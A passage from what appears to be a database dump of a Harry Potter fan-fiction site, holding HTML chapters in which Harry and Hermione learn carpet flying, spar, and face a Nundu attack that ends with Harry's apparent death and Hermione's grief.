wouldn\'t see her face. By the time Harry had\nput on a cloak his hair had lost most of its moisture and Hermione had\nrecovered herself. Hermione didn&#8217;t think it was appropriate to suddenly lust\nafter her friend just because he cleaned himself up a little. It was a very\nsilly thing to do, and Hermione Granger did not do silly things. She said\nsomething hurriedly, and left the room. </p>\n\n<p>&nbsp;</p>\n\n<p>After\nbreakfast Mr. Pasha took both teenagers to a storeroom, which had been\nunnoticeable until then (enchanted to be only seen when the person looking for\nthe door knew exactly where it is). The whole room was full of shelves and\nthere was only one wall in the room that didn\'t have anything on it and when\nMr. Pasha murmured something while pointing his wand, it simply vanished in\nfront of them.</p>\n\n<p>Harry and\nHermione had never seen a wall disappear before; though they had seen some\nother amazing things happen to them before. Mr. Pasha murmured something and a\nlarge red and pale yellow colored rolled carpet dropped to the floor. It\nunrolled itself and waited to be boarded. Hermione was certain that she had\nseen the carpet stretch a bit &#8211; as if a person getting ready for a marathon by\nlightly stretching. </p>\n\n<p>&nbsp;</p>\n\n<p>Mr. Pasha\nexplained that the carpets themselves are not magical and as such can not do\nanything unless there is a witch or a wizard on the carpet. They were just\ntools to be used like a broomstick. Harry got on board the carpet as soon as\nMr. Pasha told them to do so, but Hermione needed convincing that they weren\'t\ngoing to go too high. Even with that, she only sat down on the carpet as\nopposed to her male counterpart who had decided that he would stand. </p>\n\n<p>The three were\nshown the basics before Mr. Pasha asked Harry to head for the west. &quot; Rise.&quot;\nSaid Harry making the carpet even more rigid then it was before. Hermione could\nhave had sworn the carpet felt thicker. </p>\n\n<p>&quot; Mr.\nPasha... What about muggles? Won\'t they see us going out?...&quot; asked Hermione\nin her adoring voice reserved for teachers.</p>\n\n<p>&quot; I\'ll\ncome to that Hermione...&quot;</p>\n\n<p>As soon as the\ncarpet went outside, through the wall that had disappeared, the wall reappeared\nwith a small flash of white light. Once outside the carpet rose to the height\nof six feet and then there were three flickers as three different charms\nautomatically came to being around them. Mr. Pasha explained that there was one\nto hold the riders to the carpet, one to repel other carpets from colliding\nwith each other and last and the most important one being making them only visible\nonly to people on other carpets.</p>\n\n<p>Mr. Pasha\nspent good part of next five hours giving the two students practical flying\nlessons. Hermione, who was less confident in a broom, turned out to be very\ngood at riding on the carpet. Harry thought it was kind of like the situation\nwhere some people found it really easy to ride on a motorcycle, but people who\nwere afraid of them were a lot better on cars. </p>\n\n<p>&nbsp;</p>\n\n<p>&quot;\nHermione...&quot; said Harry, who was standing next to Hermione at the front\nwhile a patient Mr. Pasha sat at the back letting the two teenager in front of\nhim. </p>\n\n<p>&quot; What?&quot;\nshe said, getting nervous because they were very close to their destination,\nand she really didn&#8217;t want Harry to get mad at her, because she had ulterior\nmotives.</p>\n\n<p>&quot; You&#8217;re\nreally good at this. You should consider moving here when you finish school. I\nbet you can get a job as anything you want&quot;</p>\n\n<p>Hermione\nturned the brightest shade of red possible for a human being upon receiving the\ncomplements. She just hoped that Harry would feel the same way when they got to\ntheir destination. Harry might have been nice about doing homework over the\nholidays, but he was still Harry. And Harry didn&#8217;t like being tricked into\ngoing out to do homework. </p>\n\n<p>&quot; The\nreason that we\'re here is to observe the Griffins.&quot; Said Mr. Pasha\npointing at two giant creatures that looked like a cross between a lion and an\neagle. As if to just point out what he had said, the creatures emitted a loud screech.</p>\n\n<p>&nbsp;</p>\n\n<p>Mr. Pasha\nexplained that the Griffins live in a \'nest\' and are very protective of their\ncubs. That is why one of the parents stays behind, while the other is out\nhunting. The screech is only a signal that one of the partners is going\nhunting. He also told them that since the Griffins are very sensitive to magic,\nthe duo should stay as far as possible. He told them that if they wanted to\nspend more time observing griffins they were quite welcome to do so, but he had\nto go home and await the arrival of messages from Professor Dumbledore and a\nfew other colleagues of his at the ministry. </p>\n\n<p>He left the\npair with food for dinner and emergency portkeys that\'ll take them right into\nthe house. Harry and Hermione observed the behavior of the Griffins as they\nboth took notes for their Care of Magical Creatures class. Hermione was\nfuriously writing her notes down, mostly to avoid talking with Harry. She\nthought because she had partly lied to Harry he was upset with her. </p>\n\n<p>&nbsp;</p>\n\n<p>On the\ncontrary, Harry was totally fascinated by the Griffins and his silence only\nreinforced her belief that Harry was indeed upset with her. When Hermione\nthought that she couldn&#8217;t stand Harry&#8217;s silent treatment anymore, she started\nto speak to him...well actually apologize to him for getting him up in the\nmorning.</p>\n\n<p>Harry smiled a\nwhile listening to her speak. When Hermione stopped her apology to ask why he\nwas smiling, Harry explained that the reason he wasn&#8217;t talking was because the\nGriffins were so very interesting. Even when they did nothing, they had a\nmixture of nobility and savageness that interested him. </p>\n\n<p>Hermione was\njust glad that he wasn&#8217;t upset with her. </p>\n\n<p>However,\nthough Hermioe found the creatures endlessly fascinating, Harry found them to\nbe reasonably fascinating. Eventually Harry&#8217;s fascination ended. Even the most\ninteresting of diversions become rather dull after a long time of doing it. </p>\n\n<p>Having had\nenough of the Griffins, he and Hermione agreed to go back &#8211; more like Harry\nbegging her to finish writing, so they could go back to the site. As they\napproached the city, Hermione, who was the driving the carpet, performed more\nand more astounding feats in the air. &nbsp;Harry wondered, where she got the sudden\nurge to perform, however neither noticed a big leopard beast that saw them head\ntowards the general direction of the city. The beast was powerful enough to see\nright through the invisibility charm. </p>\n\n<p>&nbsp;</p>\n\n<p>When they got\nback they practiced dueling...err... No they practiced \'pick on Potter\', as\nHarry it seemed had actually grown worse, than he was at the beginning.\nHermione took full advantage and for the next hour and a half Harry was thrown\naround the room like a small but hot potato. Harry was actually trying to find\na weakness in the method that they fought, unfortunately for Harry, Hermione\nhad none that he could find until they finished. Hermione showed Harry some of\nthe moves that she remembered from her early endeavour into martial arts. </p>\n\n<p>To Harry who\nhad no experience in that field at all, he found her exceptionally good in self\ndefence. <i>&#8216; I wonder why she\nnever hit Malfoy back for teasing her ,</i>&#8217; thought Harry, but decided it was\nprobably because she thought that would be lowering herself to Malfoy&#8217;s level.\nHe thought no more of it for that day , Hermione had a particularly hard grip\non his shoulder, and it was taking his mind away from thoughts like these. </p>\n\n<p>&nbsp;</p>\n\n<p>The next day\nwas spent fully on Dueling. More of Pick on Potter. Followed by a short lunch,\nfollowed by more pick on Potter. More pick on potter. And after Dinner, a match\nof Pick on Potter infront of Hermione&#8217;s parents and Mr. and Mrs. Pasha. &nbsp;&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>The day after\nwas more interesting. That day started out in a similar fashion as to the one\nbefore, but they did dueling practice before Mr. Pasha would let the pair take\nthe Magic Carpet out for a spin. Hermione was severely disappointed and didn\'t\nhide it. She liked the freedom the carpet gave her, but more over she liked her\nadventurous self on the carpet. She felt most of the time like she was the\ndullest person that ever lived at Hogwarts &#8211; well other than Percy. But then he\nwas interesting. She was neither. Without her books, she was nothing&#8230;. That&#8217;s\nwhat she though. The carpet let her be a whole new person&#8230; though it was more\nlike bringing out another side of herself, and Harry being on her side while\nshe did these loops in the air &#8211; she realised what Harry loved about flying. </p>\n\n<p>When she was\non a broom, it always made her feel a little uneasy but now that she was good\nat flying, and being able to do all fancy moves she wanted to do, she wanted to\nbe out doing it. </p>\n\n<p>&nbsp;</p>\n\n<p>So they\nquickly went through the lesson. Hermione paid for her lack of attention, as\nshe spent almost all of the first hour on the floor. But after a while her\nproper personality kicked in and Harry was again falling victim to Hermione\'s\nskill &#8211; repeating the game of &#8220;flip Potter&#8221;, &#8220; &#8220;kick potter&#8221; , &#8220;make him hurt&#8221;.\n</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216; Ouch! Man\nI was having fun throwing her around for a change and now she\'s beating the\nliving day lights out of me.... OW!&#8217; </i>&nbsp;though Harry as he reacted to the knee in the\ngroin.</p>\n\n<p>&quot; Awhhh!\nWhat the f**king hell was that for.&quot; Shouted Harry in pain, using his two\nhands to protect his groin from further attack.</p>\n\n<p>&quot; ... Did\nit hurt?&quot; asked Hermione tentatively, letting go of her guard to approach\nHarry.</p>\n\n<p>&quot; No!...&quot;\nsaid Harry as he jumped, pinning her to the ground, before he continued\n&quot;... I was just acting... Well not really... it hurt but not as much as\nthis.&quot; With that Harry hit her on the face with his elbow making her bleed\nfrom her lips. He knew he was being too rough, but he couldn&#8217;t stop himself.\nHermione really had hurt him, and on a subconscious level he wanted to get back\nat her. He just didn&#8217;t know where he could hurt her the same way. </p>\n\n<p>Hermione was\nangry. At herself for falling such a stupid trick. Angrey at Harry for using\nthat trick. Angry because her hands couldn&#8217;t move, and she felt helpless under\nHarry. She hated feeling helpless. She was also pissed, because Harry had pinned\nher using one of the moves, she had shown him the day before. &#8220; Get off\nme...&quot; Hermione started to struggle under him. </p>\n\n<p>&quot; No...&quot;\nreplied Harry with a tone full of mischief. </p>\n\n<p>&quot; Get off\nme...&#8221; she pleaded in earnes. &#8220; This is embarrassing.&quot;</p>\n\n<p>&quot; So\nwhat?... You kneed my groin! That hurts! Do you have any idea... OOPS!&quot; blushed\nHarry. Ofcouse she had no idea how it must feel to have more nerves in one\nplace where it was so vulnerable to attack. Hermione felt the grip loosen a\nlittle and took her chance at freedom then. She threw him off her fairly\neasily, then pinned him to the ground and repeated what Harry did on her face. Four\ntimes.</p>\n\n<p>&quot; How\ndoes it feel now?... HUH&quot; asked a cocky Hermione.</p>\n\n<p>&quot; Pretty\ngood actually...&#8221; Harry said smiling. &#8220; Rememebr the healing power I told you\nabout yesterday, see when the cuts are repaired I get these funny sensations on\nmy face and I love those.&#8221; Hermione looked disappointed. &#8220; And did you really\nthink I couldn\'t get out of the hold?...&quot; said Harry as he not only threw\nher off him but also almost making her fly.</p>\n\n<p>It had taken\nhim all of last night to practice in his Astral form. &quot; ... oof&quot;\nmoaned Hermione in pain as she landed right on her arse. It took half a second\nfor Hermione to recover and she was furious. She literally was in the process\nof lunging on top of Harry when both of them froze where they were. Like\nsomeone had stopped time &#8211; just for them. Well not totally, but for their\nbodies. They could not move, but still think and blink. </p>\n\n<p>&quot; Okay\nyou two... Break it off. You need to remember you can\'t get angry. No matter\nwhat!&quot; said Mr. Pasha. &quot; So.. I\'ll leave you two alone and you can\neither fight for a while or you can go observe those Griffins. I\'ll leave it up\nto you to get the details sorted.&quot; When Hermione quirked her eyes with an\nincredible amount of strength, he replied, &#8220; I&#8217;ve got some things to take care\nof&#8230;&#8221;</p>\n\n<p>Hermione, who\nwas in mid air when Mr. Pasha had stopped their bodies from moving, fell to the\nfloor with a loud thud when he made their bodies unfreeze. Harry couldn\'t stop\nhimself from laughing and when she came up to him after she had recovered from\nthe abrupt fall she punched the laughing Harry in the stomach knocking the wind\nright out of him. &quot; oof.&quot; Cried out Harry as he grabbed on to his\nstomach with one hand and with the other he grabbed one of Hermione\'s legs as\nhe doubled over and pulled them out from under her. Harry took his wand and\npointed at her face....</p>\n\n<p><i>&#8216; What\ncurse is he gonna do now.&#8217;</i> wondered Hermione in a panic.</p>\n\n<p>But to her\nsurprise Harry didn\'t curse her. He put one end at the edge of her lip where\nthe blood was still coming out of and started to mutter something under his\nbreath. She felt the tingling start at her lips and then slowly resonating\nthought her body. As she felt it at different places in her body, she had to\nuse all her mental control to not scream out in pleasure.</p>\n\n<p><i>&#8216; Oh God! I\nnever felt like that before.... WOW! Talk about intense...What\'s he saying? I\nhave to know the spell.... Awhhh &#8217;</i></p>\n\n<p>&quot;\nHermione are you ok?&quot; asked Harry stopping the spell abruptly. </p>\n\n<p>&quot; What\nwas that spell?&quot; asked Hermione who couldn\'t wait to find out the source\nof the spell. Fro research reasons. </p>\n\n<p>&quot; OH! It\nwas the one that Rowena used on Goderic....&quot; Harry saw the confused look\non Hermione\'s face so he ventured more information, &quot; ...after the final\nbattle with Salazar.&quot;</p>\n\n<p>&quot; I know\nwhen they used it... but that\'s a very powerful spell. I mean... It takes years\nto master. That\'s why school nurses have to do three year apprenticeships after\nthey finish school.&quot;</p>\n\n<p>&quot; Well. I\ndidn\'t do it right now did I. Your cheeks weren\'t supposed to turn pink, now were\nthey.&quot;</p>\n\n<p>&quot; er...no.&#8221;\nHermione said feeling her face flaming more. &#8220; But you came very close.&quot;\nHermione couldn\'t bring herself to tell him the way the spell made her feel. &quot;\nHey! I need a shower and after that we\'ll take the carpet for a spin. What do\nsay, Harry?&quot;</p>\n\n<p>&quot; I\'m\ngame.&quot; Came the reply from her back as Hermione made her way across the\nroom still feeling a little light headed.</p>\n\n  <p>&nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 14, '\n\n\n\n<p><b>&nbsp;</b></p>\n\n<p align="center"><b>Chapter Number:</b> 14<br>\n  <b>Chapter Name:</b> The day Harry Potter died</p>\n\n<p>The beast was\nsupposed to arrive at the city the next afternoon, so Harry and Hermione\ndecided that since they had no idea when they might be able to come back and\nobserve the Griffins to take as much information about the creature as they\ncould for that day. The rest of the information they could easily find from\nreference books. It was Hermione&#8217;s idea. </p>\n\n<p>Once they\narrived there, Harry wanted to take a closer look, but Hermione forbid him from\ntaking control of the carpet. There was a small struggle when Harry tried to\ntake control of the carpet. It was quickly and efficiently dealt with by\nHermione after a little arm twisting. Specifically Harry&#8217;s arm.</p>\n\n<p>They worked\ntogether for a long time, before Harry remembered that he wanted to ask\nHermione a question. It was about something that he had found in Hermione\'s\ntextbook. Especially the one on Runes. &quot; ...er Hermione?&quot;</p>\n\n<p>No answer from\nHermione as she was furiously writing things down on her scroll, careful to\nkeep the carpet controls behind herself. </p>\n\n<p>&quot;\nHermione....?&quot; he started again, but Hermione snapped at him. She had\nthought Harry was going to ask if they could get closer. If it hadn&#8217;t been\nthat, it would been about the assignment, she was sure of it. &quot; What?&quot;</p>\n\n<p>Harry didn&#8217;t\nseem to even realise the terseness of her voice. &quot; What do you study in\nRunes? I mean it\'s the study of old languages right?&#8221; He also did not see\nHermione&#8217;s face flaming slightly as she realised she had made a mistake about\nHarry&#8217;s question. She put aside the flustered emotions and said, softly, &#8220; Why\ndo you want to know, Harry?&#8221; Her curiosity was peaked. </p>\n\n<p>Harry flipped\nover the pages of his book a second, before answering. &#8220; I was thinking about\nquitting Divination.&#8221; </p>\n\n<p>The bland way\nHarry made the revelation, made her loose track of all other thoughts. &#8216; <i>Finally\none of those two morons is coming to his senses.&#8217; </i>thought Hermione, but the\nfirst thing that came out of her mouth was very different. &quot; If you do\nthat,&#8221; she said sounding disappointed, &#8220; what\'s going to happen to my\ngift?&quot;</p>\n\n<p>As soon as she\nhad said it, Hermione couldn&#8217;t help but mentally slap herself. She could not\nbelieve that she had said what she had. She had been working tirelessly to get\nboth Harry and Ron &#8211; well more like dropping hints &#8211; very blunt and undisguised\nhints to quit divination, but now she had told the person who was finally\nchanging their mind to come over, that she would not want them to change. <i>&#8216; Why\nthe hell did I say that.&#8217;</i></p>\n\n<p>Harry didn\'t\nbother answering that question. He knew Hermione wasn\'t really thinking when\nshe asked the question. &quot; I saw these symbols in my head when I was doing\nthe healing spell on you...&quot; Harry wasn\'t looking at her, but had he been\nlooking at her, he could have seen her turn into an interesting shade of pink. &quot;\n-I think they were runes... May be something to do with the ancients. I\'ve never\nfelt power like that before.&#8221; Hermione quirked her eyebrows, and Harry could\nfeel Hermione doing it without looking up to her. &#8220; It was like someone had set\nof almost all of my nerves on fire&#8230; like a Cruciatus curse , only in a good\nway. I could feel it in my blood. Like I could do anything&#8230;&#8221; Harry could feel\nHermione considering his words. &#8220; Maybe I could get some of that power...&quot;</p>\n\n<p>&quot;... so\nyou can defeat Voldemort&quot; said Hermione without shivering. </p>\n\n<p>This was a new\ntwist in Harry\'s life and one that Harry had started to enjoy immensely. &quot;\nYeah. Don\'t worry -I\'ll give the book to Ron. Since I\'m not going be doing it\nanymore, I&#8217;m sure Ron could make good use of it. I doubt he\'ll drop an easy\nsubject and risk loosing all those easy owl points in it - besides I wouldn\'t\nlet him drop it. He wouldn\'t be able to pickup anything else this late into the\nschool life.&quot;</p>\n\n<p>&quot; I\'m\npretty sure Professor McGonagall would be delighted to let you change from\nDivination, but I doubt there\'ll be any room, but Arithmancy is more fun and\nonly half the class is full...&quot; </p>\n\n<p>&quot; For now\nI just want to know what those symbols are. Maybe later I\'ll know how to\ncontrol them.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Their musing were\ninterrupted when they saw unnaturally colored lightning bolts strike down from\nthe sky near the city in the horizon. The same thoughts crept on to their mind\nat the same time. &quot; The beast&quot; said both in unison, facing each\nother.</p>\n\n<p>Harry had\nstarted to say, &quot; We&#8217;ve got to get back.&#8221;</p>\n\n<p>Hermione\nnodded, taking the control of the carpet, and getting reading to go off. </p>\n\n<p>&#8220; I\'ll drop\nyou off at the house and then I\'ll -&quot;, said Harry, but was quickly interrupted\nby Hermione.</p>\n\n<p>&quot; Oh no,\nYou don\'t! Harry Potter! I\'m not a child. I\'m coming with you.&quot; Harry\nwasn\'t really surprised that she said this. She was head strong and he himself\nhad said to Ali Pasha, his friends were willing to risk their lives with him,\nand he expected her to do the same this time. Deep deep deep deep down he knew.\n</p>\n\n<p>In the high speed,\nas they swooped closer to the ground, they created a storm of displaced sand in\ntheir wake. When they were within viewing distance they saw that the attack\nfrom the beast was coming from the opposite side of the city. They saw hundreds\nof Wizard, Witches rush to the other side of the city, most of them were\nrunning, the clever ones already on broomsticks or carpets. Harry and Hermione\nsaw few of the carpets swoop down and grab people off the street in one spectacular\ndive. </p>\n\n<p>Harry and\nHermione looked at each other. A meaningful glance passed between them. They\nhad thought the same thing. They could try to do like other carpet riders were\nalready doing. But they had no idea how to do it, and if they missed they would\nnot only be slow in getting there on time, but also might reduce the number of\npeople who would be able to help. </p>\n\n<p>They flew\nunder two bridges, and over a minar. Both flattened themselves to the floor to\nreduce the air friction. They saw several people apparate as they passed a\ncolumned structure. </p>\n\n<p>Hermione urged\nthe carpet to go fast, and the speed picked up slightly. Hermione made expert\nturns and loops past buildings and other carpet riders. If it had been under\nother circumstances, Harry would have had thought Hermione would make a great\nchaser &#8211; as long as she was allowed to use the carpet instead of the\nbroomstick. </p>\n\n<p>When they\nfinally reached the centre of the carnage, Hermione felt sick. Harry could make\nout five dead bodies in the very least &#8211; chewed in half, or smashed and\nsplattered. Some of them had arms and legs severely damaged, yet they kept up\nthe assault with there wands pointed at the beast and firing sparks of light\nthat either bounced off or just were absored. Hermione wanted to throw up desperately,\nand Harry felt little better. This was their baptism by fire into what war was\nlike. </p>\n\n<p>It was almost\nas if Harry could sense how difficult it seemed for Hermione, and told her take\nthe carpet and spread the word that hundreds more are coming to help. Not to\ngive up. It would be important to boost the hope of the people who were\nfighting for their lives and their families. &quot; Were will you be?&quot; she\nsaid anxiously.</p>\n\n<p>&quot; On the\nground.&#8221; Harry said, edging to the carpet&#8217;s end. &#8220; Go&quot; he said almost\ntaking the last step. But then Hermione grabbed his arm. &#8220; No. I won\'t let you\ngo.&quot;</p>\n\n<p>&quot; I have\nto.&#8221; He said, with his voice telling her he would do it no matter what she said\nor did. The typical Harry stubborn voice. He did soften up. &#8220; I\'ll always love\nyou and Ron. Remember that!&quot; With that he kissed Hermione on the cheek and\njumped off the Carpet at a height of over 20 feet. Hermione thought he was\ngoing to die but about half way Harry started to descend slowly, as the\nhovering charm that Harry used came in to effect.</p>\n\n<p>Hermione was\ndetermined to do as Harry had asked her to, she used her wand and yelled\n&quot;Sonorous&quot;, before she started to yell, &quot; Everyone!\nRe-enforcement are coming&quot;</p>\n\n<p>She moved the\ncarpet towards the ground. </p>\n\n<p>&nbsp;</p>\n\n<p>Harry\ndescended into the cluster of wizards who were using lightning bolts to attack\nthe beast, but not with any success. Some of the wizards were using spheres of\nelectricity while others used either &quot;Stupefy&quot; or &quot; Impedimenta&quot;.\nAll this seemed to only make the beast angrier &#8211; and do nothing useful. Harry\nbarged into the conversation of the group and said, &quot; We have to do one\nthing. And we have to keep it up until there are enough of us.&quot;</p>\n\n<p>The oldest in\nthe group was the same person that Harry&#8217;s eyes had caught in the arena the\nfirst day of the septanic games. His gaze was almost as penetrating as the one\nthe Professor Dumbledore had. It made Harry both uncomfortable and, oddly\nenough, remind him of home. Hogwarts. </p>\n\n<p>The elderly\nman could sense wise words coming from the youngest among them, but the rest\ndidn\'t want to be upstaged. They were going to ignore Harry&#8217;s suggestion &#8211;\nprompting Harry to wish that people in that part of the world were aware of who\nhe was. It had become obvious to him that the people present could see his scar\nin plain view, yet refused to acknowledge him. Few people in morocco seemed to\nknow who he was. And it gave him a feeling of being normal. That is what he had\nfelt after coming to Morocco. Now the reason behind that feeling might be detrimental to the\npeople around him. Before Harry could make a move to try and convert these\npeople, the old man spoke up. </p>\n\n<p>&quot; Listen\nto him. It\'s a Nundu. It takes more than a hundred trained wizards to subdue\none of them. We\'ll need a hell of lot more amateurs to subdue it. We have no\nother choice but to keep using one spell (stupefy) to attack it.&quot; </p>\n\n<p>The people around\nthe group reacted as if they had heard of the plan the first time. &quot; Not a\nproblem, Mr. Potter. You have grown. I\'m Professor Dippet. We\'ll talk more\nsoon.&quot; </p>\n\n<p>&nbsp;</p>\n\n<p>With that he\ntook off to where everyone was going. There was about a hundred wizards now\nshouting in unison &quot;Stupefy&quot;, but they still needed the\nreinforcements. </p>\n\n<p>Harry noticed\nthat they were gaining ground, making the beast move backward with each passing\nminute. </p>\n\n<p>It was a not\nuntil it was too late did Harry realize that they had been inadvertently cornering\nthe beast in the same direction that Hermione was working to free a wizard,\nhalf conscious and into the carpet. The beast&#8217;s eyes focused on Harry, and as\nif it could read his mind, he found Hermione near him . Vulnerable. </p>\n\n<p>It started to\nmove towards her. </p>\n\n<p>Harry felt a\nblinding rage that he wouldn\'t be able to save Hermione and with each second\nshe was moving closer to death. He started to feel the same power he had experienced\nbefore when he performed the healing spell on Hermione. His blood seemed\nintoxicating, his senses becoming sharper and clearer. His body started to glow\nwhite. </p>\n\n<p>The next\nsecond, Harry had taken into a run to the beast. Several of the surrounding\nwizards were so stunned that they stopped performing the stunning curse. Some\nof them could only look on as Harry yelled, &quot; No! I won\'t let you take\nHermione!&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>At her name,\nHermione turned to see what was happening behind her. She was just in time to\nsee the beast within a few feet of her, when, something bright white crashed\ninto the beast. There was a big white flash and massive sonic boom that seemed\nto be an amplified noise of the pop that one hears when someone had just apparated\nout. She was thrown backwards from the sonic boom as were hundreds more wizards\nand witches that were there. Most of them were in shock and could not get up\nonce the residual light had vanished. &nbsp;</p>\n\n<p>Some had seen\nHarry glow white and then charge at the beast and most recognized that Harry\nhad apparated out with that magical creature. Thing is they didn\'t know who the\nmysterious stranger was, as in the panic no one had seen his scar. Not that it\nwould matter yet, no one really knew the characteristics of the boy who lived.</p>\n\n<p>&nbsp;</p>\n\n<p>Almost in a\nblind panic, Hermione looked for Harry. When she couldn&#8217;t find him, she felt\nher heart almost die. She knew in her heart that Harry was not one of the dead.\nHe had apparated with the creture, a feat impossible to do. She started to\nshake as she finally realised something. </p>\n\n<p>Wherever he\nwas, Harry was now alone. Alone with a massive creature that took the life of\nseveral wizards and witches. </p>\n\n<p>&quot; Harry&quot;\nshe cried out. She had just started to run toward the direction Harry had been\nrunning, when someone grabbed her. </p>\n\n<p>&quot; You\ncan\'t go that way... Bloody hell!&quot; said the man as Hermione bit his arm,\nbut the man didn\'t let her go. Holding a struggling Hermione to himself. </p>\n\n<p>&quot; Please\nlet me go. I have to find him. I have to find Harry Potter. Please let me\ngo!&quot;</p>\n\n<p>&quot; You mean\nthe Harry Potter. The one the...&quot; he said incredulously.</p>\n\n<p>&quot; Do you\nknow any one else?&#8221; She spat. &#8220; Please let me go....please...&quot; pleaded\nHermione with the young man.</p>\n\n<p>&quot; I\'m\nsorry, but I can\'t. We have to finish the spell. Otherwise his sacrifice would have\nbeen in vain...&quot; Hermione saw the man cry. No matter what kind of martial\narts move she tried, the man simply disabled her. </p>\n\n<p>Another man,\nthis one elderly, came to her and asked, &quot; Where\'s Harry?&quot; It was the\nman who introduced himself as Professor Dippet to Harry. He looked sad and\nmortified. &quot; Gather the people still alive. Start the spell immediately.\nGo. Leave her with me.&quot; He said to the younger one who was holding\nHermione. </p>\n\n<p>The man\nfollowed the order without question. As soon as he let go Hermione started to\nrun toward where Harry was heading. But the elderly man said, form behind. His\nvoice oddly calming and soothing, &quot; He\'s long gone my dear, and you know\nit. I know it. By this time tomorrow everyone will know it. But remember he did\nit for you. He did it so you stayed alive. If you go after the beast, alone and\nright now, you\'ll waste his sacrifice... Do you want his sacrifice to be in\nvain?&quot; The man paused.</p>\n\n<p>Hermione\nstarted to cry and fell to the ground crying. The elderly man put a hand over her\nhead and said, &quot; Once the spell is finished, we\'ll send out search\nparties. If he\'s still alive then we\'ll get him. But for now you need to\nsleep....&quot; Hermione was going to argue but the man pointed his wand at her\nand said &quot; Dormis&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&lt;&lt;~~~&gt;&gt;</p>\n\n<p>END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p><b>[Reviewers]</b></p>\n\n<p><b>SAME AS THE FANFICTION.NET VERSION&nbsp; :: </b></p>\n\n<p>This is not the same as the ff.net version. This is more\npolished and more &#8220;correct&#8221; Also with less gaps, and better commentary.</p>\n\n<p><b>When is Chapter 47 coming ::</b></p>\n\n<p>I can&#8217;t really tell. I am trying to finish as fast as I can,\nbut real life is so hectic, and the way the site is taking up time&#8230; it&#8217;s really\na lot of work.</p>\n\n\n\n\n\n'),
	(13, 15, '\n\n\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 15<br>\n<b>Chapter Name:</b> The Dead Body and the Carcass</p>\n\n<p>Hermione woke\nup in the morning in the Pasha household. On one side of her was Sirius, Ron,\nProfessor Dumbledore and Professor Snape, on the other side Mrs. Weasley and\nher mother &#8211; both sobbing openly and consoling each other. On the chairs near\nby, Mr. Pasha and Professor Flitwick were discussing something in a low voice. </p>\n\n<p>Her eyes still\ndidn\'t get properly focused, when her light groan alerted her mother to her\nconsciousness. She was immediately enveloped in a very tight hug. At first\nHermione had trouble remembering what had happened, on what she believed was\nthe night before. Or why there were all those people around her, but then\nsuddenly her mind was flooded with the events.</p>\n\n<p>&nbsp;</p>\n\n<p>Actually she had\nslept for an entire day, because of the strength of the spell. When she looked\naround she only saw blackened faces with sad expressions. She wanted to ask a\nquestion but her voice box would simply not comply. &quot; ... How are you\nsweetie?&quot; asked her mother.</p>\n\n<p>Hermione\'s\nvoice was coming back but it hurt when she asked, &quot; Where\'s Harry?&quot;</p>\n\n<p>Everyone went\nblank and started to look to each other as if deciding whether or not to tell\nher anything. Professor Dumbledore stepped up to her and said, &quot; They\nfound his body, his wand, a watch, and the carcass of the Nundu near a Griffins\nnest yesterday. We know it was his.... I\'m sorry, Hermione. If I could do\nsomething to take away the pain I would...&quot;</p>\n\n<p>Hermione\nsnapped and said, &quot; I don\'t believe you.&#8221; She said&nbsp; - her voice steeling\nin resolve that Harry was still there. &#8220; I want to see the body...&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Few hours\nlater when Hermione saw the evidence and the remains of Harry\'s body she felt\nas if the world had just ended. She recognized Harry\'s watch as a gift from\nGinny to her crush Harry. When she saw the grubby wand she knew it was his, but\nthere wasn&#8217;t enough of the body left to be recognized as Harry. She refused to\nbelieve it was Harry\'s for a long time while her mother consoled her. After a\nfew hours she accepted the fact that Harry was now indeed dead. </p>\n\n<p>&nbsp;</p>\n\n<p>Ron tried\nseveral times to console her, but she flat out refused to be touched by anyone\nother her mother. She closed herself in her room with her mother and together\nthey cried and shared stories about Harry. Mrs. Granger was a very good\nlistener and when she finished analyzing her daughter\'s stories she asked if\nshe loved Harry. &quot; Love...&quot; Hermione thought about it, &quot; May\nbe... I\'m not sure.&quot; She paused, &quot;... I\'ve never thought of him as\nanything more than a friend. I might have felt something for him last school\nyear, -but I don&#8217;t know. I kissed him in the train station... even then it was\nto comfort him. No.... definitely not. We were friends. That\'s the way we like\nit.&quot;</p>\n\n<p>Mrs. Granger\nhad a hard time believing her daughter and she knew from experience, first love\nor true love was hard to identify even when it\'s gone. She and her husband were\nbest friends for over fifteen years and never thought of each other as anything\nother than friends. Then when her fianc&#233;e had left her and Paul was there to\nconsole her, she realized that she loved Paul more than anyone else in her\nlife. </p>\n\n<p>It took a long\ntime after that for her to come to terms with the fact that, she was indeed in\nlove with her best friend. It took an even longer time for them to admit their\nmutual love to each other. But Mrs. Granger didn\'t tell it to her daughter this.\nShe didn&#8217;t want to make the lass more than it was. She didn&#8217;t want to send her\ndaughter into a pit of unrecoverable depression.</p>\n\n<p>&nbsp;</p>\n\n<p>The journey\nback to Britain was hell. The\nreporters all wanted to know what happened and just before they existed the\nairport, Hermione snapped. She threatened that she would kill the next person\nwho asked her a question and reminded them that she could get away with it if\nshe said she was grieve stricken from the death of her friend Harry Potter - the\nboy who lived.</p>\n\n<p>&nbsp;</p>\n\n<p>No one dared\nmutter another word until she was at the train station on 1st September. That\nwas the first day that she allowed Ron to comfort her &#8211; actually that was the\nfirst day that she let Ron come anywhere near her. When they entered through\nthe magical barrier she wasn\'t surprised to see all the people moping about. </p>\n\n<p>But she was\nsurprised to see that a few of the Slytherins were also moping about. * Not all\nof \'em are bad * though Hermione as she got into the train. </p>\n\n<p>Ron took her\ntrunk inside and Hermione was about to set foot inside the carriage when she\nfelt the hair on the back of her neck stand up. It was almost as if her whole\nbeing was telling her something was going to happen. Something big. Almost\ninstinctively she looked up into the sky where she saw a small silver glint. </p>\n\n<p>&nbsp;</p>\n\n<p>Parvati Patil\nbroke down crying when she read the headline in Daily Prophet. She was so upset\nthat she didn&#8217;t even notice that almost everyone was doing the same all around\nher as they waited for the train. Some like Hermione Granger and Ron Weasley,\nwho were best friends with Harry were mortified as the moved towards the 